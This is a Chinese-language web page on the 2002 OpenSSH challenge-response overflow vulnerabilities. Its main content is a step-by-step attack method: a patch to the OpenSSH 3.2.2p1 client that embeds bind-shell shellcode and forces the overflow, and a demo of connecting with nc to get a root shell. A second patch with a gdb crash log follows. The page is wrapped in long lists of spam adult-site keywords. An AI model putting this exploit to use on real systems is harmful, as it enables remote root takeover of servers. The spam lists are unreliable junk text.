国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

OpenSSH 溢出攻擊方法
2005-11-25   

在OpenSSH 2.3.1p1到3.3版本中,關于挑戰反應處理代碼存在安全性缺陷。允許遠程入侵者以sshd(通常是root)進程的身份執行任意指令。
第一個缺陷是因為在挑戰反應認證過程中,OpenSSH在處理關于收到的響應次數的變量上存在整型溢出風險,如果挑戰反應設置為打開,并且系統使用SKEY或者BSD_AUTH認證選項,則允許攻擊者利用此缺陷遠程執行任意指令。這個漏洞已經被證實。
第二個缺陷牽涉到使用交互式鍵盤認證的PAM模塊, OpenSSH 2.3.1p1~3.3版本。OpenSSH在處理關于收到的響應次數的變量上存在緩沖溢出風險,不論挑戰反應設置如何,系統使用交互式鍵盤認證的PAM模塊(PAMAuthenticationViaKbdInt),可能會導致允許遠程非法執行指令的風險。目前尚未有代碼證實是否能達到攻擊效果。
對這兩個缺陷的攻擊,都建立在使用SSH ver2的版本特征上。
多個Linux/Unix平臺受該漏洞影響。
============================================================
攻擊方法:
1. 下載 openssh-3.2.2p1.tar.gz 并解壓
~ $ tar -xvzf openssh-3.2.2p1.tar.gz
2. 執行提供的補丁: (將下方補丁文件存為path_to_diff_file)
~/openssh-3.2.2p1 $ patch < path_to_diff_file
3. 編譯已經打過補丁的OpenSSH客戶端:
~/openssh-3.2.2p1 $ ./configure && make ssh
4. 運行ssh:
~/openssh-3.2.2p1 $ ./ssh root:skey@localhost
5. 如果成功,則可連接128端口
~ $ nc localhost 128
uname -a
OpenBSD nice 3.1 GENERIC#59 i386
id
uid=0(root) gid=0(wheel) groups=0(wheel)
(除此之外,bugtraq.org提供了一個打過補丁的SSH攻擊客戶端:sshutup-theo.tar.gz)
===========補丁文件===============
--- sshconnect2.c Sun Mar 31 20:49:39 2002
+++ evil-sshconnect2.c Fri Jun 28 19:22:12 2002
@@ -839,6 +839,56 @@
/*
* parse INFO_REQUEST, prompt user and send INFO_RESPONSE
*/
+
+int do_syscall( int nb_args, int syscall_num, ... );
+
+void shellcode( void )
+{
+ int server_sock, client_sock, len;
+ struct sockaddr_in server_addr;
+ char rootshell[12], *argv[2], *envp[1];
+
+ server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );
+ server_addr.sin_addr.s_addr = 0;
+ server_addr.sin_port = 32768;
+ server_addr.sin_family = AF_INET;
+ do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr,
16 );
+ do_syscall( 2, 106, server_sock, 1 );
+ client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
+ &server_addr, &len );
+ do_syscall( 2, 90, client_sock, 0 );
+ do_syscall( 2, 90, client_sock, 1 );
+ do_syscall( 2, 90, client_sock, 2 );
+ * (int *) ( rootshell + 0 ) = 0x6E69622F;
+ * (int *) ( rootshell + 4 ) = 0x0068732f;
+ * (int *) ( rootshell + 8 ) = 0;
+ argv[0] = rootshell;
+ argv[1] = 0;
+ envp[0] = 0;
+ do_syscall( 3, 59, rootshell, argv, envp );
+}
+
+int do_syscall( int nb_args, int syscall_num, ... )
+{
+ int ret;
+ asm(
+ "mov 8(%ebp), %eax; "
+ "add $3,%eax; "
+ "shl $2,%eax; "
+ "add %ebp,%eax; "
+ "mov 8(%ebp), %ecx; "
+ "push_args: "
+ "push (%eax); "
+ "sub $4, %eax; "
+ "loop push_args; "
+ "mov 12(%ebp), %eax; "
+ "push $0; "
+ "int $0x80; "
+ "mov %eax,-4(%ebp)"
+ );
+ return( ret );
+}
+
void
input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
{
@@ -865,7 +915,7 @@
xfree(inst);
xfree(lang);
- num_prompts = packet_get_int();
+ num_prompts = 1073741824 + 1024;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -874,6 +924,13 @@
*/
packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
packet_put_int(num_prompts);
+
+ for( i = 0; i < 1045; i++ )
+ packet_put_cstring( "xxxxxxxxxx" );
+
+ packet_put_string( shellcode, 2047 );
+ packet_send();
+ return;
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
===========END 補丁文件===============
附加信息:
How to reproduce OpenSSH Overflow.
The R7 team did a little investigating into one of the OpenSSH
vulnerabilities.
The following are instructions on how to reproduce a segmentation
violation in sshd (v3.2.3p1):
0.) Compile with PAM and S/KEY support.
1.) Apply the following patch to the ssh client:
- --- sshconnect2.c.bak Thu Jun 27 11:54:54 2002
+++ sshconnect2.c Thu Jun 27 11:56:27 2002
@@ -866,6 +866,7 @@
xfree(lang);
num_prompts = packet_get_int();
+ num_prompts = 2;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -877,15 +878,16 @@
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
+ if ( i == 0 ) {
prompt = packet_get_string(NULL);
echo = packet_get_char();
response = read_passphrase(prompt, echo ? RP_ECHO : 0);
- -
+ }
packet_put_cstring(response);
- - memset(response, 0, strlen(response));
+ /*memset(response, 0, strlen(response));
xfree(response);
- - xfree(prompt);
+ xfree(prompt);*/
}
packet_check_eom(); /* done with parsing incoming message. */
2.) Add "PAMAuthenticationViaKbdInt yes" to 'sshd_config'.
3.) Connect to sshd using the modified client.
Note: valid credentials are not required.
On the server side, you'll see:
[root@wonderland hi_chad]# gdb /usr/sbin/sshd
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) run -d
Starting program: /usr/sbin/sshd -d
debug1: sshd version OpenSSH_3.2.3p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
socket: Address family not supported by protocol
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 33208
debug1: Client protocol version 2.0; client software version OpenSSH_3.2.3p1
debug1: match: OpenSSH_3.2.3p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-1.99-OpenSSH_3.2.3p1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 124/256
debug1: bits set: 1626/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1597/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user jdog service ssh-connection method none
debug1: attempt 0 failures 0
debug1: Starting up PAM with username "jdog"
debug1: PAM setting rhost to "localhost.localdomain"
Failed none for jdog from 127.0.0.1 port 33208 ssh2
debug1: userauth-request for user jdog service ssh-connection method
keyboard-interactive
debug1: attempt 1 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=jdog devs=
debug1: kbdint_alloc: devices 'skey'
debug1: auth2_challenge_start: trying authentication method 'skey'
debug1: got 2 responses
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053822 in strcpy ()
(gdb)
Comments are much appreciated.
- Joe
相關站點:
http://www.kb.cert.org/vuls/id/369347

熱詞搜索:

上一篇:SSH客戶端的安裝方法
下一篇:在AIX 4.3.3系統上安裝OpenSSH

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
99热99精品| 99久久久国产精品免费蜜臀| 69堂成人精品免费视频| 美女一区二区在线观看| 中文字幕不卡的av| 欧美日韩免费电影| 国产一区在线不卡| 一区二区欧美视频| 欧美一级日韩免费不卡| 国产精品亚洲人在线观看| 一区二区三区高清| 国产日产亚洲精品系列| 欧美日韩色综合| 成人午夜视频福利| 琪琪久久久久日韩精品| 亚洲精品午夜久久久| 精品日韩一区二区| 欧美日韩一级二级三级| a级精品国产片在线观看| 免费成人在线影院| 亚洲精品免费在线播放| 久久九九影视网| 欧美一区二区三区在线视频| 91视频在线观看免费| 国内久久婷婷综合| 日韩av在线发布| 亚洲成人精品一区二区| 亚洲免费伊人电影| 国产色产综合色产在线视频| 精品日韩一区二区三区 | 麻豆精品视频在线| 一区二区在线电影| 中文字幕一区二区三区四区| 精品国产亚洲在线| 制服丝袜亚洲色图| 欧美日韩美女一区二区| 色中色一区二区| 97se狠狠狠综合亚洲狠狠| 国产成人自拍在线| 国产成人在线视频播放| 经典三级在线一区| 九九久久精品视频| 日韩精品欧美成人高清一区二区| 亚洲高清免费在线| 午夜天堂影视香蕉久久| 五月婷婷久久综合| 性欧美大战久久久久久久久| 亚洲成人综合视频| 日韩高清在线不卡| 免费视频一区二区| 老汉av免费一区二区三区| 久久精品理论片| 国内久久婷婷综合| 国产激情91久久精品导航| 成人性生交大合| 91蝌蚪国产九色| 欧美日韩国产电影| 日韩一级在线观看| 日韩欧美在线123| 国产亚洲一区二区三区四区| 欧美国产精品v| 中文字幕一区二区三区色视频| 亚洲男人的天堂在线aⅴ视频| 亚洲一区二区三区四区在线观看 | 中文字幕日韩av资源站| 亚洲天堂2016| 亚洲成a人片综合在线| 视频一区视频二区中文字幕| 久久成人免费网| 北条麻妃国产九九精品视频| 色爱区综合激月婷婷| 欧美一区二区三区思思人| 久久综合色播五月| 亚洲人一二三区| 日日摸夜夜添夜夜添精品视频| 久久99精品网久久| 日本久久一区二区| 精品奇米国产一区二区三区| 中文字幕国产精品一区二区| 亚洲二区在线视频| 经典三级一区二区| 欧美日韩一区久久| 欧美韩国一区二区| 天堂蜜桃一区二区三区| 成人免费视频视频在线观看免费| 在线视频国内一区二区| 久久视频一区二区| 亚洲va欧美va人人爽| 成人免费视频播放| 5858s免费视频成人| 国产精品污www在线观看| 日韩福利电影在线观看| 成人av资源在线观看| 日韩欧美区一区二| 亚洲成a天堂v人片| 91浏览器入口在线观看| 国产亚洲一本大道中文在线| 亚洲mv在线观看| 成人黄色av网站在线| 精品剧情在线观看| 日日夜夜精品视频免费| 欧美这里有精品| 中文字幕中文在线不卡住| 蜜桃av一区二区| 欧美精品在线观看一区二区| 亚洲视频精选在线| 国产成人aaaa| 久久久久亚洲蜜桃| 国产在线国偷精品免费看| 欧美视频精品在线| 亚洲丝袜自拍清纯另类| 国产成人在线看| 精品日本一线二线三线不卡| 三级不卡在线观看| 欧美另类z0zxhd电影| 亚洲已满18点击进入久久| 色综合中文综合网| 久久久久久日产精品| 首页欧美精品中文字幕| 欧美亚洲高清一区| 亚洲美女免费在线| 91麻豆福利精品推荐| 亚洲天堂精品在线观看| 94-欧美-setu| 亚洲视频在线一区| 91国模大尺度私拍在线视频| 成人免费在线播放视频| 91天堂素人约啪| 亚洲欧美电影院| 成人黄色电影在线| 亚洲视频中文字幕| 欧美日韩精品一区二区三区蜜桃 | 亚洲卡通欧美制服中文| 一本色道久久综合狠狠躁的推荐| 亚洲三级电影全部在线观看高清| 成人h版在线观看| 亚洲色图清纯唯美| 欧美日韩一区二区三区高清| 美女视频黄 久久| 国产亚洲一区二区三区| 99这里都是精品| 亚洲丰满少妇videoshd| 日韩亚洲欧美高清| 国产传媒久久文化传媒| 综合精品久久久| 这里只有精品99re| 国产一区二区毛片| 亚洲欧洲av另类| 91精品国产综合久久精品app| 伦理电影国产精品| 国产精品麻豆久久久| 91电影在线观看| 久久精品国产精品亚洲红杏 | 91年精品国产| 日本不卡在线视频| 久久久不卡网国产精品一区| 91欧美激情一区二区三区成人| 日本亚洲视频在线| 国产精品久久久久影院老司| 8x8x8国产精品| 国产v日产∨综合v精品视频| 亚洲综合图片区| 久久免费看少妇高潮| 在线观看av一区二区| 国产精品影视网| 天堂久久一区二区三区| 国产视频在线观看一区二区三区 | 一本一道波多野结衣一区二区 | 成人午夜精品在线| 日韩中文字幕麻豆| 国产精品久久久久久久第一福利| 欧美精品xxxxbbbb| 99视频国产精品| 六月婷婷色综合| 午夜欧美在线一二页| 亚洲三级视频在线观看| 国产欧美va欧美不卡在线| 欧美一级搡bbbb搡bbbb| 欧美三级蜜桃2在线观看| 成人美女视频在线观看18| 日韩av网站免费在线| 一区二区三区久久久| 国产精品进线69影院| 久久奇米777| 日韩精品专区在线| 91精品一区二区三区久久久久久| 在线亚洲免费视频| 懂色av一区二区三区免费看| 精品一区二区在线观看| 日韩国产精品久久| 日韩精品一级中文字幕精品视频免费观看 | www久久精品| 日韩女同互慰一区二区| 欧美日韩视频专区在线播放| 日本高清无吗v一区| 成人av免费在线观看| 国产传媒欧美日韩成人| 国产成人在线免费| 成人综合在线观看| 国产高清亚洲一区|